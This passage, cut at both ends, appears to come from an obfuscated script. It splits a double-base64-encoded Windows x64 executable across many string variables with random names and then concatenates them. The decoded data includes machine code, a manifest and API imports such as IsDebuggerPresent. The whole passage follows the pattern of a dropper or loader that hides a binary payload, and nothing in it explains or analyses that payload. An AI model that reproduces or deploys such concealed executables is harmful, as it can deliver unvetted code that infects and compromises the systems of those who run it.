Nek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + znGAYdzaLHTCbsrUAAiOWfIWelxJaiawlEYPZH = "SXRNSkREb3VRQUFBSVhBZEJWSWkwd2tNT2pyL3YvL2hjQjBCN2xCQUFBQXpTbElnOFFvdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekV5SlJDUVlTSWxVSkJCSWlVd2tDTVBNek16TXpNek16TXpNek16TXpNek1USWxFSkJoSWlWUWtFRWlKVENRSVNJUHNLRXlMUkNSQVNJdFVKRGhJaTB3a01PZzVBQUFBaGNCMEdFaUxUQ1F3Nkd2Ky8vK0Z3SFFLU0l0TUpERG9IZjcvLzBpRHhDakR6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TVRJbEVKQmhJaVZRa0VFaUpUQ1FJU0lQc0tFaU5CVlp3QUFCSUJZQUFBQUJJaVVRa0NFaUxSQ1E0U0l0TUpBaElBOGhJaThGSWlVUWtFRWlMUkNRUVNJdE1KREJJSzhoSWk4RklPMFFrUUhZSnh3UWtBUUFBQU9zSHh3UWtBQUFBQUlzRUpFaUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TVNJUHNPRWlORFZYbEFBRG9yc2IvLzBpTkRZREYvLzlJTzhGMENzZEVKQ0FCQUFBQTZ3akhSQ1FnQUFBQUFJdEVKQ0JJZzhRNHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek13endNUE16TXpNek16TXpNek16TXpNU0lIc1dBUUFBRWlMQmZxRUFBQklNOFJJaVlRa1FBUUFBSUE5a1kwQUFBQVBoUndCQUFER0JZU05BQUFCNkk0QkFBQkloY0FQaFFrQkFBQklqUTBtYWdBQTZLbkYvLzlJ" + CxNzoOzrcwNLxwYcHMjlpynrYs = "TXpNek1kUkZJWTBRNkJFZ0R3WUU4S016TXpNeDBEMGlMVENRb1NJdFVPZ2pvWnZULy8vL0RTSVBIRURzZWZNUklpM3drTUVpTFhDUTRTSXRzSkVCSWc4UWdYc1BNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekVCVFYwaUQ3Q2hJaVd3a1FEUC9USWw4SkNCSmk5aElpK3BNaS9sSWhkSjBYRWlKZENSSWkvYzVPbjVNVElsMEpGQkVpL2RJaTFVSVNtTU1Na0tCZkRuOHpNek16SFVTU21ORU1nUklBOEZDZ1R3NHpNek16SFFQU0l0TUpEaEtpMVF5Q09pdzgvLy8vOFpKZzhZUU8zVUFmTUZNaTNRa1VFaUxkQ1JJVEl0OEpDQklpOE5JaTJ3a1FFaUYyM1J0a0VpTFFBVC94MGlGd0hYMUR4OUVBQUNCTzh6TXpNeDFHNEY3Rk16TXpNeDFFb0Y3R016TXpNeDFDWUY3SE16TXpNeDBFRWlMVENRNFJJdkhTSXZUNkVuMC8vOUlpME1NZ1h3WS9Nek16TXgwRUVpTFRDUTRSSXZIU0l2VDZDdjAvLzlJaTFzRS84OUloZHQxcEVpRHhDaGZXOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFaU5CWXJ5Ly8vRHpNek16TXpNek14SWpRWFI4UC8vdzh6TXpNek16TXpNU0lQc09JQTl2ckVBQUFCMUxVRzVBUUFBQU1ZRnI3" + tLnjIIqQbfzUXdfNouipqHjXpLG = "TXpNek14SWcrd282TEhZLy8vb3h0Zi8vN0FCU0lQRUtNUE16TXpNek16TXpNek16RXlKVENRZ1RJbEVKQmlKVkNRUVNJbE1KQWhJZyt3NDZIL1gvLytGd0hVeWczd2tTQUYxSzBpTFJDUllTSWxFSkNCSWkwUWtJRWlKUkNRb1RJdEVKRkF6MGtpTFRDUkFTSXRFSkNqL0ZTNzJBQUJJaTFRa2FJdE1KR0Rvek5mLy8waUR4RGpEek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lQc0tPZ1MxLy8vaGNCMERraU5EUXllQUFEb0J0ai8vK3NPNkVmVy8vK0Z3SFVGNkFuWi8vOUlnOFFvdzh6TXpNek16TXpNek16TXpNek16TXpNekVpRDdDZ3p5ZWdNMS8vLzZBYlkvLzlJZzhRb3c4ek16TXpNek16TXpNek1pVXdrQ0VpRDdDaURmQ1F3QUhVSHhnV2luUUFBQWVobjJQLy82T0xWLy84UHRzQ0Z3SFVFTXNEckdlZ1cyUC8vRDdiQWhjQjFDelBKNlBiVi8vOHl3T3NDc0FGSWc4UW93OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TWlVd2tDRlpYU0lQc2FBKzJCVWlkQUFDRndIUUhzQUhwNFFBQUFJTzhKSUFBQUFBQWRCU0R2Q1NBQUFBQUFYUUt1UVVBQUFEbzdkZi8vK2djMXYvL2hjQjBPb084SklBQUFBQUFkVEJJalEwTW5RQUE2R25ZLy8rRndIUUhNc0RwbVFBQUFFaU5EUTJkQUFEb1V0ai8vNFhBZEFjeXdPbUNBQUFBNjNkSXgwUWtJUC8vLy85SWkwUWtJRWlKUkNRb1NJdEVKQ0JJ" + YABsnhnhxXaUhoDPUSvvFRbIsOHAc = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + SAJdC = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + TZHYOwXfxjTPvguvOFnAT = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFQRDk0Yld3Z2RtVnljMmx2Ymowbk1TNHdKeUJsYm1OdlpHbHVaejBuVlZSR0xUZ25JSE4wWVc1a1lXeHZibVU5SjNsbGN5Yy9QZzBLUEdGemMyVnRZbXg1SUhodGJHNXpQU2QxY200NmMyTm9aVzFoY3kxdGFXTnliM052Wm5RdFkyOXRPbUZ6YlM1Mk1TY2diV0Z1YVdabGMzUldaWEp6YVc5dVBTY3hMakFuUGcwS0lDQThkSEoxYzNSSmJtWnZJSGh0Ykc1elBTSjFjbTQ2YzJOb1pXMWhjeTF0YVdOeWIzTnZablF0WTI5dE9tRnpiUzUyTXlJK0RRb2dJQ0FnUEhObFkzVnlhWFI1UGcwS0lDQWdJQ0FnUEhKbGNYVmxjM1JsWkZCeWFYWnBiR1ZuWlhNK0RRb2dJQ0FnSUNBZ0lEeHlaWEYxWlhOMFpXUkZlR1ZqZFhScGIyNU1aWFpsYkNCc1pYWmxiRDBuWVhOSmJuWnZhMlZ5SnlCMWFVRmpZMlZ6Y3owblptRnNjMlVuSUM4K0RRb2dJQ0FnSUNBOEwzSmxjWFZsYzNSbFpGQnlhWFpwYkdWblpYTStEUW9nSUNBZ1BDOXpaV04xY21sMGVUNE5DaUFnUEM5MGNuVnpkRWx1Wm04K0RRbzhMMkZ6YzJWdFlteDVQZzBLQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + KuoAmNWXhbIXyUUDtQJrlEs = "TXpNek16TXpNU0lQc0tFaU5EWURMLy8vL0ZWZkxBQUJJZzhRb3c4ek16TXpNek16TXpNd3p3TVBNek16TXpNek16TXpNek16TVNJbE1KQWhJZyt3NFNJdEVKRUJJaXdCSWlVUWtJRWlMUkNRZ2dUaGpjMjNnZFhCSWkwUWtJSU40R0FSMVpVaUxSQ1FnZ1hnZ0lBV1RHWFFxU0l0RUpDQ0JlQ0FoQlpNWmRCeElpMFFrSUlGNElDSUZreGwwRGtpTFJDUWdnWGdnQUVDWkFYVXQ2SnZLLy85SWkwd2tJRWlKQ0VpTFJDUkFTSXRBQ0VpSlJDUW82QnJNLy85SWkwd2tLRWlKQ09nS3l2Ly9NOEJJZzhRNHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSWxjSkFoWFNJUHNJRWlOSFVkNUFBQklqVDFZZXdBQVNEdmZjeG9QSHdCSWl3TkloY0IwQnY4Vm91a0FBRWlEd3doSU85OXk2VWlMWENRd1NJUEVJRi9Eek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TVNJbGNKQWhYU0lQc0lFaU5IUmQ4QUFCSWpUMG9mZ0FBU0R2ZmN4b1BId0JJaXdOSWhjQjBCdjhWUXVrQUFFaUR3d2hJTzk5eTZVaUxYQ1F3U0lQRUlGL0R6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsTUpBakR6TXpNek16TXpNek16RWlKVENRSVNJUHNHRWlMUkNRZ1NJc0FTSWtFSkVpTEJDUklnOFFZdzh6TXpNek16TXpNek16TXpNek16TXpNekVpSlRD" + rGDzbNeSOAQBdDQMhR = "R2x1WnlCaElHWjFibU4wYVc5dUlHUmxZMnhoY21Wa0lIZHBkR2dnYjI1bElHTmhiR3hwYm1jZ1kyOXVkbVZ1ZEdsdmJpQjNhWFJvSUdFZ1puVnVZM1JwYjI0Z2NHOXBiblJsY2lCa1pXTnNZWEpsWkNCM2FYUm9JR0VnWkdsbVptVnlaVzUwSUdOaGJHeHBibWNnWTI5dWRtVnVkR2x2Ymk0TkNnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCQklHTmhjM1FnZEc4Z1lTQnpiV0ZzYkdWeUlHUmhkR0VnZEhsd1pTQm9ZWE1nWTJGMWMyVmtJR0VnYkc5emN5QnZaaUJrWVhSaExpQWdTV1lnZEdocGN5QjNZWE1nYVc1MFpXNTBhVzl1WVd3c0lIbHZkU0J6YUc5MWJHUWdiV0Z6YXlCMGFHVWdjMjkxY21ObElHOW1JSFJvWlNCallYTjBJSGRwZEdnZ2RHaGxJR0Z3Y0hKdmNISnBZWFJsSUdKcGRHMWhjMnN1SUNCR2IzSWdaWGhoYlhCc1pUb2dJQTBLQ1dOb1lYSWdZeUE5SUNocElDWWdNSGhHUmlrN0RRcERhR0Z1WjJsdVp5QjBhR1VnWTI5a1pTQnBiaUIwYUdseklIZGhlU0IzYVd4c0lHNXZkQ0JoWm1abFkzUWdkR2hsSUhGMVlXeHBkSGtnYjJZZ2RHaGxJSEpsYzNWc2RHbHVaeUJ2Y0hScGJXbDZaV1FnWTI5a1pTNE5DZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + cPrUiVywLZUKwzBPpPGaKMdqfRcymaJgxAoGgEYriOdrgt = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + oOSfGOgqlGkIAORYvObGcsjZrFGieEKfgdpWSbhHAxbUytAITWPR = "TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + LApgwYbUQYSyklAgNUxVRcVucekjfKxsELGOuvnmbPlAjrKUuKspsufADOwt = "WkVsa0FBQ1hBMGx6UkdWaWRXZG5aWEpRY21WelpXNTBBSHNFVW1GcGMyVkZlR05sY0hScGIyNEFBQWdFVFhWc2RHbENlWFJsVkc5WGFXUmxRMmhoY2dBcEJsZHBaR1ZEYUdGeVZHOU5kV3gwYVVKNWRHVUE2UVJTZEd4RFlYQjBkWEpsUTI5dWRHVjRkQUR4QkZKMGJFeHZiMnQxY0VaMWJtTjBhVzl1Ulc1MGNua0FBUGdFVW5Sc1ZtbHlkSFZoYkZWdWQybHVaQUFBMkFWVmJtaGhibVJzWldSRmVHTmxjSFJwYjI1R2FXeDBaWElBQUpjRlUyVjBWVzVvWVc1a2JHVmtSWGhqWlhCMGFXOXVSbWxzZEdWeUFDb0NSMlYwUTNWeWNtVnVkRkJ5YjJObGMzTUF0Z1ZVWlhKdGFXNWhkR1ZRY205alpYTnpBQUNlQTBselVISnZZMlZ6YzI5eVJtVmhkSFZ5WlZCeVpYTmxiblFBWkFSUmRXVnllVkJsY21admNtMWhibU5sUTI5MWJuUmxjZ0FyQWtkbGRFTjFjbkpsYm5SUWNtOWpaWE56U1dRQUFRTkhaWFJUZVhOMFpXMVVhVzFsUVhOR2FXeGxWR2x0WlFDQkEwbHVhWFJwWVd4cGVtVlRUR2x6ZEVobFlXUUE2QUpIWlhSVGRHRnlkSFZ3U1c1bWIxY0FqQUpIWlhSTmIyUjFiR1ZJWVc1a2JHVlhBQUIwQWtkbGRFeGhjM1JGY25KdmNnQUFZd05JWldGd1FXeHNiMk1BWndOSVpXRndSbkpsWlFBQXl3SkhaWFJRY205alpYTnpTR1ZoY0FBQStRVldhWEowZFdGc1VYVmxjbmtBQUwwQlJuSmxaVXhwWW5KaGNua0F4QUpIWlhS" + lJdgGUR = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" + UukH = "NFd3QUFBQVFCMEFBTWVGdEFBQUFNQU5BQURIaGJnQUFBQUFGZ0FBeDRXOEFBQUFRQlFBQU1lRndBQUFBSUFOQUFESGhjUUFBQUJBSFFBQXg0WElBQUFBZ0J3QUFNZUZ6QUFBQUlBTUFBREhoZEFBQUFDQUdBQUF4NFhVQUFBQUFCMEFBTWVGMkFBQUFJQUpBQURIaGR3QUFBQ0FDUUFBeDRYZ0FBQUFnQWtBQU1lRjVBQUFBSUFlQUFDRHZjQURBQUFDZEJaSWpRMTlrZ0FBNkJqMy8vKzRBUUFBQU9uY0FBQUF4NFVFQWdBQUFBQUFBT3NPaTRVRUFnQUEvOENKaFFRQ0FBQzRDQUFBQUVocndBRklpNDNJQXdBQVNJc01BZWl6OXYvL09ZVUVBZ0FBZlQ5SVk0VUVBZ0FBU0lQNE5uTXl1QWdBQUFCSWE4QUJTR09OQkFJQUFFaUxsY2dEQUFCSWl3UUNENzRFQ01IZ0JraGpqUVFDQUFDSmhJMFFBUUFBNjVMSGhRUUNBQUFBQUFBQTZ3NkxoUVFDQUFEL3dJbUZCQUlBQUVoamhRUUNBQUJJZy9nMmN5MUlZNFVFQWdBQVNHT05CQUlBQUl1TWpSQUJBQUE1VElVUWRCQklqUTIza1FBQTZFYjIvLzh6d09zUTY3aElqUTJwa1FBQTZEVDIvLzh6d0VpTCtFaU5UZUJJalJWVWtRQUE2SXozLy85SWk4ZElqYVdvQXdBQVgxM0R6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + eYGXDYAkiMnkMYrxGeLZkudKRTmVWqyiygBJrkzvMDupSVfqXYyuTLwLHOkjhvC = "Q1FJU0lQc09Ma1hBQUFBL3hVTTN3QUFoY0IwQjdrQ0FBQUF6U2xJalEyS29BQUE2UFVEQUFCSWkwUWtPRWlKQlhHaEFBQklqVVFrT0VpRHdBaElpUVVCb1FBQVNJc0ZXcUVBQUVpSkJjdWZBQUJJaTBRa1FFaUpCYytnQUFESEJhV2ZBQUFKQkFEQXh3V2Zud0FBQVFBQUFNY0ZxWjhBQUFFQUFBQzRDQUFBQUVocndBQklqUTJobndBQVNNY0VBUUlBQUFDNENBQUFBRWhyd0FCSWl3M1JuUUFBU0lsTUJDQzRDQUFBQUVocndBRklpdzIwblFBQVNJbE1CQ0JJalEzSWdnQUE2STNmLy85SWc4UTR3OHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek1TSVBzS0xrSUFBQUE2RFBlLy85SWc4UW93OHpNek16TXpNek16TXpNek15SlRDUUlTSVBzS0xrWEFBQUEveFhkM1FBQWhjQjBDSXRFSkRDTHlNMHBTSTBOV3A4QUFPZ0ZBZ0FBU0l0RUpDaElpUVZCb0FBQVNJMUVKQ2hJZzhBSVNJa0YwWjhBQUVpTEJTcWdBQUJJaVFXYm5nQUF4d1dCbmdBQUNRUUF3TWNGZTU0QUFBRUFBQURIQllXZUFBQUJBQUFBdUFnQUFBQklhOEFBU0kwTmZaNEFBSXRVSkRCSWlSUUJTSTBOem9FQUFPaVQzdi8vU0lQRUtNUE16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpN" + PybvPlDJqWjrprGZSOHELncQwLXqEXvfMGEBVOEaccKNdCxzkRXJDNdsM = "ek16RXlKVENRZ1RJbEVKQmhJaVZRa0VFaUpUQ1FJVlZkSWdlejRBQUFBU0kxc0pEQklqUTMrQndFQTZGUDcvLy9vRmZqLy8waUxqZmdBQUFCSWlVd2tJRXlMamZBQUFBQk1pNFhvQUFBQVNJdVY0QUFBQUVpTENQOFZ5L29BQUVpTnBjZ0FBQUJmWGNQTXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNU0lsVUpCQ0pUQ1FJVlZkSWdleklBd0FBU0kxc0pDQklqWHdrSUxtS0FBQUF1TXpNek16enE0dU1KT2dEQUFCSWpRMTRCd0VBNk1iNi8vL0hSUkRBRUFBQXgwVVVnQkVBQU1kRkdBQVZBQURIUlJ3QUVRQUF4MFVnd0JRQUFNZEZKRUFRQUFESFJTZ0FId0FBeDBVc1FCUUFBTWRGTUVBWkFBREhSVFNBR1FBQXgwVTRBQllBQU1kRlBJQU5BQURIUlVBQUhRQUF4MFZFQUJZQUFNZEZTTUFZQUFESFJVeUFHUUFBeDBWUVFCb0FBTWRGVkFBWUFBREhSVmlBR0FBQXgwVmNRQjBBQU1kRllBQWFBQURIUldTQUhBQUF4MFZvQUIwQUFNZEZiSUFKQUFESFJYQ0FDUUFBeDBWMGdBa0FBTWRGZUFBV0FBREhSWHhBRVFBQXg0V0FBQUFBZ0EwQUFNZUZoQUFBQUFBY0FBREhoWWdBQUFDQUdRQUF4NFdNQUFBQVFCMEFBTWVGa0FBQUFJQVlBQURIaFpRQUFBQUFGZ0FBeDRXWUFBQUF3QTBBQU1lRm5BQUFBRUFZQUFESGhhQUFBQUFBRmdBQXg0V2tBQUFBZ0JJQUFNZUZxQUFBQUlBWkFBREhoYXdBQUFBQUdRQUF4" + xPwYBnIxnYgEBltvciefwyPdNaqcxqVUFITQXdSjFmRRnEAHVk = "ZzN3a1JBQjFFdysyUkNSQmhjQjFDcmtEQUFBQTZGelAvLzlJZ2NUd0JRQUFYOFBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekVCWFNJSHNvQUFBQUVpTlJDUXdTSXY0TThDNWFBQUFBUE9xU0kxTUpERC9GZXZMQUFDTFJDUnNnK0FCaGNCMEN3KzNSQ1J3aVVRa0lPc0l4MFFrSUFvQUFBQVB0MFFrSUVpQnhLQUFBQUJmdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNeElnK3dvNkxETC8vOUlnOFFvdzh6TXpNek16TXpNek16TXpNek16TXpNekRQQXc4ek16TXpNek16TXpNek16TXhJZyt3NE04bi9GZVRMQUFCSWlVUWtJRWlEZkNRZ0FIVUhNc0RwZ1FBQUFFaUxSQ1FnRDdjQVBVMWFBQUIwQkRMQTYyNUlpMFFrSUVoalFEeElpMHdrSUVnRHlFaUx3VWlKUkNRb1NJdEVKQ2lCT0ZCRkFBQjBCRExBNjBSSWkwUWtLQSszUUJnOUN3SUFBSFFFTXNEck1FaUxSQ1FvZzdpRUFBQUFEbmNFTXNEckhyZ0lBQUFBU0d2QURraUxUQ1FvZzd3QmlBQUFBQUIxQkRMQTZ3S3dBVWlEeERqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" + hSMCKWvRKxqOlNXtxEvAkoMfYsBVBUnGfsjyGVjupZBKJg = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQURjSEFJQUFBQUFBR29iQWdBQUFBQUFmaHNDQUFBQUFBQ1FHd0lBQUFBQUFLWWJBZ0FBQUFBQXZCc0NBQUFBQUFEUUd3SUFBQUFBQU9vYkFnQUFBQUFBL2hzQ0FBQUFBQUJhSFFJQUFBQUFBRXdkQWdBQUFBQUFQQjBDQUFBQUFBQXFIUUlBQUFBQUFCNGRBZ0FBQUFBQUVoMENBQUFBQUFBQ0hRSUFBQUFBQU80Y0FnQUFBQUFBVkJzQ0FBQUFBQURHSEFJQUFBQUFBS3djQWdBQUFBQUFsaHdDQUFBQUFBQjhIQUlBQUFBQUFHQWNBZ0FBQUFBQVRCd0NBQUFBQUFBNEhBSUFBQUFBQUJvY0FnQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCeUdBSUFBQUFBQUZnWUFnQUFBQUFBUEJnQ0FBQUFBQUFlR0FJQUFBQUFBQWdZQWdBQUFBQUE2QmNDQUFBQUFBRElG" + FBhMCgIdLoYhtHCKPaUjzTXWQrlTWFjaOvvCOrpvPMV = 